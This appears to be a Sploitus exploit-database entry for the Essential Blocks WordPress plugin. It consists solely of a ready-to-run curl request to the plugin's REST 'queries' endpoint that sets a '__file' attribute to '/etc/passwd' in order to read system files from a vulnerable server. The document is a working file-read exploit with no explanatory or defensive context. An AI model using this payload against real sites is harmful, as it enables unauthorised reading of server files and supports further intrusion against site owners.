## https://sploitus.com/exploit?id=WPEX-ID:633C28E0-0C9E-4E68-9424-55C32789B41F
curl --url 'http://vulnerable-site.tld/wp-json/essential-blocks/v1/queries?block_type=nonexisting_block&query_data=%7B%22source%22%3A+%22post%22%7D&attributes=%7B%22__file%22%3A+%22%2Fetc%2Fpasswd%22%7D'